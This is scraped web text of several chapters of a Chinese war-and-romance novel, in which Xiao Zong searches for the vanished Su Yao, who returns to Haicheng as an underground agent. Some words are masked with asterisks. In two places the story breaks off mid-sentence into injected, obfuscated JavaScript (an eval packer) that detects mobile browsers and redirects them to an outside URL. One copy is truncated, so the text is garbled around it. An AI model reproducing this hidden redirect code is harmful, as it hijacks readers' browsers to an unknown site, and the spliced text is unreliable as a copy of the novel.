人虽然重要，可他们找也找了，搜也搜了，该做的都做了，还能怎么样呢？ 他们都不是感情用事的人。 “那好，你一切小心，出征那天我去给你送行。” 话音落下，他也转身离开，萧纵没有回头，扶着栏杆一步步往上走。 不知道是高烧还没退的缘故，还是刚才被砸到了头，他眼前竟一阵阵的天旋地转，他不得不更紧地抓住了栏杆，好借此稳住身形。 却蓦地想起苏姚来。 她上楼下楼，也是如同他现在这样，死死抓着栏杆。 心头骤然疼了起来，他不自觉弯下腰，试了几次，都没能直起来，目光却看向了那扇房门。 他一步步走过去，手几次抬起来又放下，最终也没能将门推开。 他知道，里头的一切都没变，苏姚的所有东西都在，可他还是不敢推开。 他不想看见那间空荡荡的屋子。 因为住在里头的人，不会回来了。 为什么要发现得这么晚…… 明明有那么多次机会，为什么一次都没抓住…… 刚才因为遇见萧家父子而被强行压下去的情绪骤然又翻涌了上来，身体慢慢失了力气，他靠着墙滑坐在地上，颤抖着抬手遮住了眼睛。 门口响起脚步声，陈施宁提着几个盒子去而复返，他是上了车才想起来自己还给萧纵带了东西，这才回来送的，一进门却看见了这幅情形。 他愣在原地，忽然想起了那天，萧纵瘫坐在地上，怎么都扶不起来的样子。 他什么都没说，安静地看了萧纵两眼，将带来的补品放在门口，悄无声息地走了。 时间一晃而过，两天后，萧纵就整装待发了。 好巧不巧的，和沈家商队是同一天，陈施宁来给两人送行，褚英也姗姗来迟。 “我那天话说得太急了，你们别往心里去。” 褚英叹了口气，“我就是担心你们，等你们回来，我给你们摆庆功酒。” 陈施宁笑起来：“这样才对，从小到大的交情，哪能真有嫌隙，你们路上都小心。” 沈知聿向来话少，只应了一声，随手一抱拳就带着人走了，萧纵的目光却一直看向海城深处。 “我明白。” 陈施宁开口，“不光你的人，我的人也在找，一旦有她的消息，我就给你发电报。” 萧纵目光颤动，却什么都没说，只握了握他的手。 两人默契的，谁都没提另外一种可能。 “这个，带给陈小姐。” 萧纵将一个盒子递给陈施宁，又看了一眼繁华的海城，转身上了车，随着一声刺耳的鸣笛，队伍开拔，慢慢驶出海城。 褚英凑过来，伸手拿过盒子就要打开，陈施宁连忙抢回来，“这是给我姐的，可不能开。” 褚英啧了一声，打探道：“你们两家，要办喜事了？” 陈施宁一愣，连连摇头，“怎么可能？人才没几天啊，少帅他……” 他又想起了萧纵坐在苏姚门口的事情来，却什么都没说，只将盒子收了起来，“你别胡思乱想。” 褚英啧了一声，没再开口，转身走了。 陈施宁喊了他一声，没得到半分回应，他叹了口气，目光又看向城外。 萧纵的军队已经走远了，刚才热闹的城楼一瞬间就安静了下来。 他轻轻叹了口气，怅然若失：“这海城，忽然就冷清了啊……” 第154章 战乱 萧纵这一走，一年后才回来。 先是南城的战火烧了两个月，又是临近的湘城开了战，这两处距离海城都不算远，他几番思索过后，还是奔赴支援，这一打就不可收拾。 战场一处接一处地点燃，以往国内乱，却远不及现在的十分之一。 现在几乎全国都在抗战，硝烟几乎弥漫了所有角落。 他已经顾不上海城了，但也有个好消息，萧远山也被迫离开了海城，他不想参战，又不能独善其身，只能借口剿匪，暂时离开海城。 只是算算时间，他应该也要回去了。 “少帅。” 萧翼穿过硝烟走过来，他右眼瞎了，被眼罩遮了起来，是被弹片伤到的，但他并不在意，打了太久的仗，军民都死伤无数，他能活着，已经是运气。 “残军退了，咱们终于可以回海城了。” 萧纵动作一顿，抬头看了过来，嘴里还叼着包扎伤口的纱布。 可以，回去了吗？ 他喃喃低语，神情愣怔。 萧翼上前一步，接过他手里的纱布，帮他包扎伤口，可在看清伤处的时候却皱起了眉头，“少帅，你这伤怎么一直不好？” 都是血肉之躯，战场上谁都不能幸免，萧纵自然也要吃子弹，轻的重的都有，但这道伤却很奇怪，怎么都不好，每次换药伤口甚至比之前都要更糟糕一些。 “回头把腐肉剜了吧。” 萧纵不甚在意，他仰起头，遥遥看向城里。 不多时马蹄声就响了起来，金锦催马跑过来，这是最后一场战役，这么说也不准确，因为并不是这场大战分出了胜负，而是双方又要和谈了。 她没有参加这一战，而是在城里收集证据。 “整天说和谈，就这种畜生，和谈个屁。” 她骂骂咧咧地从马背上跳下来，将一本相册递过来，“少帅，你要的东西，但我觉得没用，上头想和谈，咱们收集了再多东西也没用。” “我只是表明态度，” 萧纵抬手接过，翻开看了一眼，随即又蹙着眉合上了。 相片第一张，就是一众百姓被活埋的样子，饶是他浴血多年，也觉得触目惊心。 “打有打的理由，不打也有不打的好处。” 他低语一声，将相册扔回给金锦，“还有呢？” 金锦叹了口气，“海报都贴出去了，但没人见过啊，咱们到一个地方就贴一个地方，但一直没消息，苏小姐如果走的话，应该也不会来这种混乱的地方。” 人之常情的话，当然是这样，但是…… “她那册子上，都是南边的地方，她走的时候，这边还没打起来呢。” 他解释一句，从衣袋里掏出个小怀表，里头有张不大的相片，其实就是海报的缩小版，有些模糊，看不太清楚人脸。 萧纵一直以为，自己的记忆也会如同这海报一样，逐渐模糊。 可事实却是，他记忆里的那张人脸，始终都很清晰。 “回去的路上多注意吧。” 他合上怀表，轻声开口。 金锦应了一声，将缰绳塞进萧翼手里，“你回去吧，这里我盯着。” 萧翼接了缰绳，却又看了萧纵一眼，这么久了，很多人都劝过萧纵别找了，只有他什么都没说过，他隐蔽地期待着萧纵能把人找回来，哪怕只是找到一点线索也好。 可现在，他却有点想劝萧纵放弃了。 每天死那么多人，苏姚又有那种要命的病根，他真的没有信心，觉得人还活着。 可话到嘴边，他又怎么都说不出来。 那毕竟也是他真心喜欢过的人。 最后，他还是没能开口，跳上马背走了。 要进城的时候，远处传来了断断续续的枪声。 他回头看了一眼，心里却并不稀奇，这些日子，到处都在打仗，不只是总统的人，还有各方小势力，国内诡异地形成了默契，有人和他们一样正面抗衡主力部队，就有人找准机会打游击，将残兵彻底剿灭，不给他们汇合的机会。 甚至有只小部队一直跟着他们，只是双方立场不同，所以从未照面。 他也不打算惹麻烦，很快就收回目光，催马进了城。 一眼望去，大街小巷，到处都是苏姚的海报，他驻足看了两眼，轻叹一声，催马走了。 瑞城的风大，随着他的远去，海报被风吹得呼啦作响，一张承受不住，被吹了下来，却不等落地，就被打着旋的风卷走了，路过一个石墩时，海报贴在了上头。 不多时，一只布满伤痕的手探了过来，将海报揭了下来。 对方垂眸看着那海报上的人，却什么都没说，只加快脚步走了。 这一仗，瑞城萧条了不少，但萧纵走的时候，仍旧有数不清的人来送他，但并没有人开口。 瑞城的官员死的死，逃得逃，当初萧纵来的时候，瑞城的城门都破了，只剩了几个民兵死撑着，连正规军队都没有，所以现在也并没有人主事。 萧纵知道这些人聚集在这里，很大一部分原因是不知道以后该怎么办，但他并不想管，瑞城离海城太远，也并不景气，在这种地方费心思吃力不讨好。 可看着那一张张绝望麻木的脸，他脑海里却不受控制地想起了另一个人。 前进的马被勒停，他静静立在城门口，许久后才开口，“于修明，你带一个营留下，收拾这城里的烂摊子，等总统的安排。” 众人都是一愣，于修明连忙敬了个礼答应下来。 人群里忽然响起了哭声，很快哭声就连成了片。 萧纵摇摇头，劫后余生，该庆幸才对，有什么好哭的。 大军再次前行，这一路上到处都是断壁残垣，几乎每座城里都有孤寡老人和孩子沿街乞讨，看得人唏嘘不已。 “他们的日子，是越来越难过了。” 金锦叹了一声，将兜里的大洋掏出来扔了过去，孩子和老人连忙磕头感谢，只是被战争迫害的人太多，她能力有限，在把萧纵和萧翼身上的钱也掏空后，只能干看着。 萧翼劝了她一声，“别悲天悯人了，我们能管好自己就行了，这次损失不少，回去后还不知道是什么光景。” 金锦也没了言语，他们打了不少胜仗，总统也下了不少嘉奖令，报纸上更是大肆报道，可有什么用？他们不是正经的总统军，不会晋升，他们的根基还是在兵马。 损失了那么多人，如果不找机会把人招全，一定会有人动歪心思。 “着什么急？老东西那边，不是现成的吗？” 萧纵开口，说着点了根烟，却没抽两口就咳了起来。 也不知道是不是海城的那场雨太大，后遗症一直拖到现在，打从那天之后，他抽烟就咳嗽，金锦忍不住劝他，“把烟戒了吧，呛多少回了？” 萧纵咳完继续抽，却没和金锦贫嘴，只慢慢勒停了马。 赶了几天的路，海城终于出现在了眼前。 苏姚，你会不会已经回来了？ 第155章 再回海城 海城看着，还是原本的样子。 战火没有波及这里，仍旧歌舞升平，一片繁华。 只是一进城萧纵就察觉到了不对劲，在一众来迎接的人里，多了几幅生面孔。 孙少甫笑吟吟地介绍，“最近战乱频发，总统怕少帅分心，特意排了几位专员成立了海城办事处，为您处理海城的杂物，这位是办事处主任周宝成。” 周宝成连忙上前，弯腰想和萧纵握手。 萧纵垂眸看着他，神情十分冷淡，他们在前头为了家国打仗拼杀，总统在后面悄无声息地偷他们的地盘。 “哪来这么多老鼠？” 金锦冷斥一声，话里都是嫌恶，“看得人恶心……我不是说诸位啊，你们看见了吗？刚才过去好多老鼠。” 周宝成脸色僵硬，抿着嘴没开口，倒是孙少甫是个老油条，脸上仍旧带着笑。 “诸位一路风尘，还是先进城休息，这次少帅大胜，彰显国威，实在与有荣焉，晚上鄙人做东，为少帅风风光光地办一场接风宴，还请少帅一定赏光。” “再说吧。” 萧纵一抖缰绳，催着马穿过众人，径直回了帅府。 进门的时候发现陈施宁和褚英已经在了，瞧见他回来，远远地就上前迎接。 “可算是回来了，咱们可看了好些你的报道了。” 陈施宁兴奋地朝他招手，萧纵的目光却越过众人，看向了客厅深处。 萧茵又长了一岁，瞧着长高了，也稳重了不少，正安静地站在管家身边，但除此之外，就再没有旁人了。 其实猜得到的，只是确认之后，仍旧会觉得失望。 萧纵紧了紧手里的缰绳，跳下马背走了过来。 “我才是该看看报道，免得海城变了天都不知道。” 他啧了一声，陈施宁蹙眉，“我给你发了电报，你没收到吗？” 萧纵脚步一顿，侧头看了过来，褚英也开口，“的确是发了，我和他一起发的，是不是被拦截了？少帅，你身边的人可靠吗？” 萧纵垂下眸子，“可能是出了什么意外，这些以后说吧。” 他侧头朝萧茵招了招手，萧茵这才走过来，萧纵看着她叹了口气，虽然管家已经尽量照料了，可他毕竟年纪大了，萧茵整个人看起来还是有些粗糙，不像苏姚在时那么细致。 “给你带了礼物，去找金锦吧。” 他揉揉萧茵的头，缓下声音开口，萧茵却没说话，只往他身后看了几眼，确定没有别人，眼圈一红，闷着头走了。 “少帅，咱们得想想以后了，这个办事处，可不是善茬。” 褚英靠在门上开口，说话间扯开了衣领。 六月的海城又闷又热，像是身上糊了一层薄膜，热得人心烦气躁。 陈施宁也热得直拿着扇子扇风，“少帅刚回来，还没弄明白海城的情形呢，你也太着急了些。” “行，那你慢慢和他说，我得给太太找冰去了，府里的都用完了。” 褚英说着就走了，陈施宁摇了摇头，扭头看向萧纵，却见他也正看着自己，“……你别看我了，但凡我有消息，早就发电报给你了。” 萧纵收回目光，管家送了加了冰的酸梅汤上来，他却没喝，反而站起来就要出门。 陈施宁愣了一下，“你要去哪？这不刚回来吗？我还有很多话要和你说呢。” “路上说。” 萧纵挽了挽袖子，拿着车钥匙朝他晃了晃，“咱们出去转一圈。” 陈施宁不敢置信地看着他，又看了看外头明晃晃的日头，声音都变了调，“大中午的，你为什么非要选这个时候出去？” 回应他的，是发动机的声音。 “你大爷的。” 他低骂了一声，将两碗酸梅汤都灌了进去，这才骂骂咧咧地钻进了车里。 一进车厢，热气呼地就涌了上来，整个人仿佛都被黏住了一样，他瘫在椅子上大喘气，“这么着急，你要去哪？” 车子被启动，有风从车窗里吹进来，却仍旧透着热气，短短一小会儿，陈施宁的衬衫都湿透了，他擦了把额头的汗，忍不住叹气：“还是女人好，俩大老爷们，这一出汗，味儿真受不了。” 他一路嘀咕，冷不丁一扭头，却发现萧纵的衬衫上氤氲了一片血迹，他骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜色漆黑，却遮不住急促的喘息和凌乱的脚步声。 这是刚刚被萧纵打散的残军，他们仓皇撤离了瑞城，一路狼狈奔逃，好不容易才找到一个看似安全的地方，刚下令要原地休息，刺耳的**就打破了这份安静。 “てきしゅう” 有人尖锐地喊了一声，残军瞬间戒备了起来，只是他们已经筋疲力竭，哪怕知道敌袭，也根本来不及反应，很多人甚至都没来得及把枪架好，就被**爆了头。 夜色里，枪口闪烁的火光仿佛催命的鬼火，不停地收割着人命。 残军们大叫起来，吵得人耳朵生疼。 似是意识到这里没人能听懂他们说话，对方再次开口的时候，用的是十分生硬的汉语，“和谈期间，不能开战。” 枪口的火光停了下来，残军心里一喜，以为自己逃过一劫了。 可下一瞬，**就**般射了过来。 “和你们和谈的，又不是我们。” 等**停下来，嘲讽声才清晰地飘进了残军的耳朵，他们大睁着眼睛，死不瞑目。 一只手伸过来，却没有合上他的眼睛，反而利落地将他掀翻了过去，开始在他身上搜找。 “妹子，你进步得真快，刚才打了多少？” 一个魁梧的汉子走过来，带着满脸憨厚的笑开口，夜色下，他眼睛里都是欣赏。 那姑娘轻笑一声，头扬起来的时候，露出了一双十分漂亮的杏眼，“五个呢。” “真厉害，我都没抢过你，这里我来搜，你去捡枪吧。” 姑娘没动，摇头拒绝，“赵大哥，我翻得动。” 赵虎爽朗一笑，“知道你翻得动，这不是脏兮兮的，怕弄你一身血吗，对了，我今天进城打探消息，发现了这个，这是你吗？” 他递了一张海报过来。 黎明前最黑暗的时候已经过去了，天边泛起了鱼肚白。 这点天光虽然不能完全将黑暗驱散，却足以将那海报照亮。 那姑娘盯着海报看了很久，慢慢抬手，将帽子摘了下来，露出了一张和海报上一模一样的脸。 正是一年前在海城消失不见的苏姚。 “还真是你，我当时看着就觉得像，还以为我看错了。” 赵虎挠了挠头，脸上带着困惑，“早就听说这姓萧的在找人，原来是你啊，他找你干什么？” 海报被慢慢撕碎，苏姚摇头轻笑，“谁知道呢，我们动作快些吧，天要亮了。” 赵虎没再问，他虽然憨厚，但不傻，苏姚虽然来历不明，但她带来的提炼方法救了他们太多人了，只凭这一点，她就算是他们的恩人。 众人加快速度，很快将战场打扫干净，拿上所有能拿的东西，撤走了。 只是刚回到营地，就有人堵住了他们的去路。 “苏小姐，这是你吧？” 参谋长开口，将又一张海报递了过来。 苏姚轻叹一声，萧纵这人，真是阴魂不散，离开了还能给她添乱。 真讨人嫌。 “是我，参谋长，我可以解释。” 参谋长抬抬手，“我们例行调查过你的身份，并没有怀疑你的意思，只是现在，有个十分要紧的任务，需要请你帮忙。” 苏姚微微一愣，“任务？” “进来说吧。” 参谋长将她请进了屋子，详细和她介绍了情形，她听得很不可思议，“你是说，要我去把唐黎，带出来？” “是，双方交战已经到了白热化的阶段，我们得到了可靠消息，敌人会针对这种高端人才进行暗杀，我们并不相信总统能保护好她，你也看见了，这种提炼药物的能力，对国家来说有多重要，他们不只是个人，更是国家的瑰宝。” 苏姚早就听说过唐黎的重要性，对组织如此看重她并不意外，但她对这个任务并没有信心。 “恕我直言，唐小姐未必愿意跟我走。” “她会的，” 参谋长十分笃定，他将苏姚带来的提炼方子平铺在桌面上，轻点着几个符号给苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696107|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚看，“这是她的求救信号，她或许不知道这张药方会到谁的手里，但她一定是在求救，她被囚禁了。” 囚禁？ 苏姚心头巨震，原来萧纵口中的保护，竟然是囚禁。 这个**。 她忽然明白过来，为什么唐黎只见了秦芳年一次，就肯把方子给她。 因为她需要人把消息送出去，所以当时不管去的人是谁，她都会交给对方。 “我们知道这任务很危险，但你和姓萧的有瓜葛，你回去是最合理的，而且我们还给你准备了帮手。” 参谋长再次开口，见苏姚迟迟没有回应，他脸色暗淡下去，勉强笑了一声，“是我们强人所难了，你能把方子送过来，本就是大恩，我们不能再要求你，你回去休息吧，我们另外找人去办……” “不，”苏姚回神，“还是我去吧，我最合适。” 参谋长很是惊喜，又有些犹豫，“你想好了吗？真的很危险。” “我知道。” 苏姚点头，侧头看向外升起来的朝阳，她还记得被带到这里来的时候，学的第一堂课是什么，平等。 他们告诉她，人人生来平等。 那天，她和孩子们一起，一遍一遍地念着那两个字，平等。 她活到这么大，头一回有人告诉她这种话，她当时很久很久都回不过神来。 平等啊。 短短两个字，却振聋发聩，推翻了她原本所有的认知，原来出身不是原罪，性别不是原罪，从人格上来说，她和所有人一样，都是平等的。 她不需要因为她出身不好，就自卑，就算低头，她也可以仰起头，挺起胸。 她并不低人一等。 人人平等的世道…… 她只是想想，身体就止不住的战栗，她真的很想看看，那样的世道是什么样的。 这是她现在唯一的念想。 “我会拼尽全力，完成任务的。” 她轻声开口，又想起来另一件事，“你说我有帮手？是谁？” 第157章 他没有心的 沈知聿撸起手腕，看了看腕表，下午三点二十分，距离火车到站，还有十分钟。 天气闷热，他索性下了车，靠在车厢上吹风，沈知心合上书，从车窗里探出头来，“哥，你怎么看起来很紧张？” 沈知聿有些无奈，知心这名字起得太好了，小小年纪就过于敏锐，一眼就能看透人的心思。 “就要见到你未来的嫂子了，你不紧张吗？” 沈知心仍旧看着他，却不置可否。 沈知聿叹了口气，没再转移话题，他的确有些紧张，因为他这个未婚妻，他其实自己也没见过。 他一直暗中资助组织活动，却从没有真正参与过什么任务，以往每次组织营救，他都是处于一个旁观者的位置，是不是同志他并不清楚，但他知道，随着战事的扩大，双方已经开始不择手段，他们已经没有机会了。 这次必须要把唐黎送出去，为此，付出什么代价都值得，哪怕把他也搭进去。 只是**，这么重要的任务，会交给谁来办。 “好吧，我也是有些紧张的。” 沈知心配合地开口，话音落下就收回目光，继续去看她的书，她打算到了十八岁就考军校，这点沈知聿也知道，但他并不打算干涉妹妹的选择。 见她给了自己台阶下，沈知聿忍不住笑了笑，抬手在她头上揉了一把。 热风糊在人身上，仿佛一只无形的手，捂住了人的口鼻，这种环境下，等待变得格外漫长，他忍不住又去看腕表，却还不等抬起手，眼角余光就先看见了一道熟悉的身影。 他动作猛地顿住，抬头朝方才的方向看去，却空空如也。 他一愣，看错了吗？ “沈爷。” 熟悉的声音在身边响起，他猝然转身，眼底闪过不敢置信，刚才没有看错，竟然真的是她。 “你不是……” 他下意识开口，话音又猛地顿住，随即大步朝她走了过去，仔仔细细地上下打量着面前的人。 虽然交情不深，可他还是不会认错这张脸。 面前这个人，就是一年前忽然在海城消失，随后怎么找都没能找到的苏姚。 “我们都以为你出事了。” 沈知聿压低声音开口，尽量克制着脸上的惊讶。 苏姚微微一笑，“我也以为我活不了了呢，可大概是命不该绝，所以被人救了。” “也就是说，你真的离开海城了？那为什么还回来？” 沈知聿不解地开口，忽然，他想到了什么，神情再度震惊起来，“该不会，你就是……” 苏姚轻轻颔首，说了暗号，“给我带香水了吗？” 许是太过惊讶，沈知聿一时竟没了言语，他上下打量着苏姚，还是那个人，却又很不一样，只是他一时半会说不出哪里变了，直到他对上苏姚的眼睛。 她眼底再没了以往的那股瞧见上位者时的恐惧和瑟缩。 她坦然自若地站在那里，风华内敛，自成风景，哪怕远不如在帅府时装扮精致用心，却越发耀眼夺目。 沈知聿的心，无端端的就安稳了下来。 “雨过天晴香，喜欢吗？” 他合上了后半句，两人对视一眼，都笑了起来。 一阵风吹过，车站贴满了的海报打着旋飘落，有人捡起了海报，只是随意瞥了两眼就作罢，可路过苏姚的时候，他脚步却猛地顿住，他抖着手拿起海报，看看上面的画像，又看看不远处的人，瞳孔骤然一缩，随即拔腿就跑。 沈知聿的目光落在那人身上，但很快就收了回来，拉开车门，将苏姚请上车。 “真没想到，再见时我们竟然会 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苏姚似是没想到他还记得这种小事，弯腰摸了下腿，轻轻一摇头，“还是老样子，时不时就会发作，但不知道是不是紧迫的事情变多了，总觉得没有记忆中那么疼了，忍得住。” 沈知聿眼底露出疼惜来，却并没有说什么，苏姚并不需要他的怜惜，她是作为一个战士来到这里的。 “既然来的是你，那想必进帅府就不是什么难事了。” 他直入正题，“我们原本准备的经历，看来要稍作修改了。” 苏姚正要点头，门外忽然热闹了起来，隐约有道熟悉的声音传进来，沈知聿感慨一声，“好快的速度，这就找上门来了，看来他真的很想见你。” 苏姚轻笑着摇头，“相处六年，我比谁都了解他的脾性，他那个人，连对唐黎都那么冷酷，怎么会有心呢？” 第158章 不死心 萧纵猛地打了个喷嚏，他抬手揉了揉发痒的鼻梁，胳膊却一阵刺痛。 他侧头看了一眼，又有殷红的血迹渗了出来，晕染在白衬衫上，倒是有些触目惊心。 但他却丝毫都顾不上，脚下控制不住地走来走去，目光一直看向外头，巴巴地等着沈知聿过来。 陈施宁忍不住劝他，“你坐一会儿吧，本来在外头就晒得我头晕，现在你还一直晃。” 萧纵充耳不闻，仍旧走来走去，浑身上下都写满了焦躁。 陈施宁叹了口气，“我不是泼你冷水，但这一年我接了数不清的谎报，很多人就是亡命徒，冲着**来的。” 萧纵的脚步顿了一下，片刻后才开口，“是不是的，等他来问问就知道了……他到底什么时候过来？” 后一句是问得沈公馆的管家，管家连连道歉，“已经派人去请了，还请少帅稍后片刻。” 萧纵抹了把脸上的汗，没再催促，只是将目光再次投向门外。 几分钟后，沈知聿终于姗姗来迟，故作惊讶地看了两人一眼，“你们怎么忽然过来了？” 似是瞧见了萧纵满头都是汗，他连忙吩咐管家去备冰饮，萧纵却上前一步打断了他的话，“刚才有人去陈园报信，说你接了个人回来，很像苏姚，让我见见。” 陈施宁一听这话就知道要糟，连忙拉了萧纵一把，“少帅，你说什么呢？” 他又看向沈知聿，“他不是这个意思。” 但沈知聿的眉头还是拧了起来，“少帅是把沈某人的未婚妻当成什么人了？你一没帖子，二没礼数，说见就要见？今天若是真的把人请出来，我沈知聿还有脸吗？” 萧纵顿了顿，紧绷的脸色强行缓和下来。 “对不住。” 他知道自己失礼，只是控制不住。 这一年过得如此漫长，他一边打仗，一边找人，但是一点消息都没有，这是他第一次得到苏姚的消息，对方说得还那么认真，就算是他都看不出撒谎的痕迹，他怎么能不着急？ “你把人请出来，我给她赔罪。” 沈知聿没再计较，“我知道你着急，但她舟车劳顿，刚刚睡下，我实在是不舍得打扰，少帅应该能理解吧？” 萧纵眉头一拧，脸色变得很不好看，陈施宁连忙拦住他，低声劝他，“你别这样，沈爷当初也是给你找过人的，如果真是苏姚，他早就告诉你了，还用得着旁人报信？” 萧纵沉默不语，的确是这么个道理，只是不看一眼，他不死心。 “你听我一句劝，” 似是看出了他的想法，陈施宁的声音又压低了些，“你和老宅如今势同水火，海城又多了个办事处，你的处境不比以往，不能再和沈爷有隔阂了。” 萧纵眼神一暗，神情几番变化，最终还是压了下去。 他不该怀疑沈知聿的。 “对不住了。” 他看了眼沈知聿，没再纠缠，径直抬脚走了。 陈施宁连忙跟上，抢在萧纵之前上了车。 “我看你又流血了，赶紧回去处理一下吧，你说说你，这么大人了，一点都不知道照顾自己。” 他开口抱怨了一句，萧纵靠在副驾驶上，沉默地侧着头对着窗户外头抽烟，抽一口咳一声，听得陈施宁嗓子都疼了。 “你就不能不抽吗？” 萧纵也忍不住叹了口气，“你就不能不说话吗？” 陈施宁噎了一下，“我是为了谁啊？” 他气哼哼地踩了脚油门。 海城已经入了夏，天黑得晚，但他们进门的时候，帅府的灯还是一盏盏地亮了起来，照亮了整座庭院。 萧纵站在门口看了好几眼才抬脚进门，路过会客厅的时候，又透过窗户看了眼外头的凉亭。 空空荡荡的，没有人影。 “少爷受伤了？” 管家一眼看见了他胳膊上的血迹，连忙喊了医生，陈施宁趁机开口，“你赶紧说说他，有伤也不处理，瞎跑什么？” 他说着要走，“我老子最近身上总是不舒坦，我还得回去看着，明天再来……” 他话音忽地一顿，因为处理伤口的时候，萧纵脱了衬衫，露出了精悍的上本身，以及后背上那满满的伤痕。 受伤不奇怪，可那一看就不是战场上留下的。 “操，” 他骂了一声，语调不自觉高昂起来，“你别告诉我，你开拔前去过老宅了，你明知道那是假的！” 他凑近看了看那伤口，一年过去了，伤口仍旧很狰狞，他知道萧远山有根马鞭，绞了铜丝在 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萧纵脸色发白，额角都是冷汗，等伤口被缝合包扎起来，他才吐了嘴里的毛巾，“挖腐肉不疼。” 陈施宁只觉得喉咙被掐住了，他看看萧纵惨白的脸，又看看地上的血，好半晌才开口，“你拿我当傻子耍是吧？” 萧纵笑起来，“行了，你快回去吧，不是说陈伯父病了吗？回头我得空了去探望他。” “你还是先养好你自己的伤吧。” 陈施宁没好气地开口，“你病得可比他厉害多了。” 他转身就走，还开走了萧纵的车。 萧纵没理会，挥挥手让众人退了下去。 管家拿了新的衬衫来，他也没穿，只往肩膀上一披就扶着沙发站了起来，开始到处溜达。 茶室，会客厅，花园，凉亭…… 到处都很安静，都很空荡，看得人心都空了，空地发疼。 其实苏姚不是话多的人，可少了她一个，整个帅府，怎么就这么冷清了呢？ 他怔怔地盯着苏姚的房门看，最后还是抬脚走了上去，慢慢推开了那扇一年都没推开的门。 第159章 好狠的老子 房间里还是原本的样子，以至于打开的瞬间，萧纵脑海里浮现的还是两人同塌而眠的场景。 只是很快，那画面就如同腐朽的枯木一般，被风一吹，就散成了烟尘。 他在门口停了好一会儿才抬脚进去，慢慢坐在了床上，抬手开了床头的台灯。 然而那只灯忽闪了两下，就灭了。 房间内再次恢复了黑暗。 窗外路灯的光照进来，却在萧纵面前投下了一片更浓重的阴影，他维持着原本的姿势，静**了很久很久，直到楼下的钟表敲了十二下，他才靠在床头合上了眼睛。 这一觉却睡得并不安稳，梦里都是大雨，劈头盖脸浇下来，冲得人站都站不稳，却有一道影子靠墙坐着，动都不动一下。 他猛地坐了起来，呼吸急促，胸口胀痛。 手却本能地去摸身边的枪，等摸到柔软的枕头时，他才想起来，战争暂时告一段落，他已经回到海城了。 他现在，在苏姚的房间里。 本该松一口气的，可身体放松的瞬间，胸口却涌起尖锐的痛楚，仿佛一年前埋下的种子，此刻才破土而出，在他胸腔里吞噬血肉，肆意生长。 指尖颤了一下，他控制不住地摸向身侧。 空空荡荡，冷冷清清。 明明早就知道是这个结果，可喘息声还是凌乱又急促起来，他极力克制，试图压制，可最后还是垂下了头，抬手用力捂住了脸。 窗外的灯光还在，将他独坐的身影慢慢拉长。 楼下的钟声也再一次敲响，凌晨三点。 他呼吸慢慢平复下来，这个时间，刚好出去一趟。 大概是穿衣服的动作太粗鲁，胳膊上的伤口又渗出了血，不多时就渗透纱布，在衬衫上晕染开来。 他没有理会，大步出了门。 他的车被陈施宁开走了，只好随便选了一辆，开着就往外走。 他始终不知道苏姚的腿是怎么回事，但在见识到她发作的样子之后，他就将血液样本给了唐黎，或许一年过去，她那边有了什么结果。 这个时间夜深人静，正好去走一趟。 只是开着开着，他心头就是一跳，那是一种说不清道不明的危机感。 他没有片刻迟疑，甚至连刹车他都没来得及踩，就打开车门扑了出去，下一瞬，刺耳的**声响起。 强大的气流将萧纵掀飞出去，重重摔在地上，他脑袋轰隆直响，口中也全是血腥味，他却顾不上理会，他怕有人补枪，挣扎着躲在了墙角，随手扯过路牌遮挡。 伤处在地上拖出了一条长长的血痕，萧纵很清楚，这无异于给人指路，他立刻掏出了枪，借着墙体的遮掩，观察狙击手可能在的位置。 一梭**很快就射了过来，却被路牌挡住，萧纵侧了下头，鲜血顺着脸颊淌下，眼前一片血红，他几乎无法看清眼前的情形，他索性没有开枪，靠在墙上装死。 但对方还是又射了一枪过来，只是再次被路牌挡住。 好在，**这么大的动静很快就引起了注意，巡逻的警员很快就被引了过来，那种被窥伺的危机感瞬间散了。 萧纵这才松了口气，身上的力气顿时卸了，枪都摔了下去。 可惜车体燃烧的动静太大，并没有人注意远处的动静。 “怎么回事？” 熟悉的声音传过来，金锦也听见了**声，带着人赶了过来，警员正要解释一句，却被金锦一把推开，她大步上前，盯着还没完全烧毁的车牌确认似的看了一眼，随即脸色一白。 “这是帅府的车！” 好巧不巧的，刚才出府的人只有一个。 “快，看看少帅在不在里头，他要是出事，我们都别活了！” 大兵们也是一惊，再顾不得其他，纷纷上前查看。 可火势熊熊，车头已经被炸毁得不成样子，根本看不清楚里面还有没有人。 金锦顾不得车门的温度，抬手就要去拉车门，一个烟盒扔过来，正砸在金锦小腿上。 她一愣，连忙扭头看过去，先瞧见的却是一条满是鲜血的拖痕，拖痕的尽头，就坐着浑身狼狈的萧纵。 “闪开，要炸了。” 他哑声开口，听起来没怎么有力气，若不是被烟盒吸引了注意力，只怕这声音很快就会被嘈杂的动静遮掩过去。 “你没事啊。” 金锦声音哆嗦，却顾不得别的，连忙将人群驱散开来。 几秒后，车厢又一次**，巨大的余威震得人耳膜生疼。 她这才走到萧纵身边，她已经猜到了萧纵伤得不轻，只是近前一看，还是忍不住倒吸了一口凉气，他的衣服损毁了大半，勉强挂在身上，裸露 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金锦五官都皱在了一起，她还没见过这么狼狈的萧纵，忍不住又开始骂人，连带着也埋怨了萧纵两句，大半夜的，一个人跑什么呀？ 被埋怨的人一无所觉，他的世界现在一片安静，什么都听不到，世界的存在感，只剩了不远处那燃烧着的汽车。 那火越烧越旺，很快就映满了他整个瞳孔。 “我这老子，下手可真黑呀。” 他莫名笑了起来，仿佛这真是一件让人十分愉悦的事。 金锦猛地侧头看过来，萧纵那句话大概并不是说给她听的，可他现在控制不好音量，所以还是让她听见了。 